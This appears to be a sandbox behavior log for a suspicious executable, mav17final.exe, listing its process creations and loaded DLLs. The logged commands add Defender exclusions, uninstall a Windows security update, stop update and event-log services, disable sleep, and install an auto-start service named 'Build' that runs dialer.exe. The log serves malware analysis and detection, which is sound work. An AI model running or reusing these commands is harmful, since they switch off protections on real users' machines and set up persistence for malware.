Source: unknown	Process created: C:\Users\user\Desktop\mav17final.exe "C:\Users\user\Desktop\mav17final.exe"
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Users\user\Desktop\mav17final.exe "C:\Users\user\Desktop\mav17final.exe"
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\dialer.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dialer.exe C:\Users\user\AppData\Local\Temp\dialer.exe
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "Build"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "Build"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\dialer.exe C:\ProgramData\dialer.exe
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\wusa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\dwm.exe dwm.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Users\user\Desktop\mav17final.exe "C:\Users\user\Desktop\mav17final.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\dialer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\dialer.exe C:\Users\user\AppData\Local\Temp\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "Build"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "Build"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\dialer.exe	Process created: C:\Windows\System32\dwm.exe dwm.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\mav17final.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\ProgramData\dialer.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
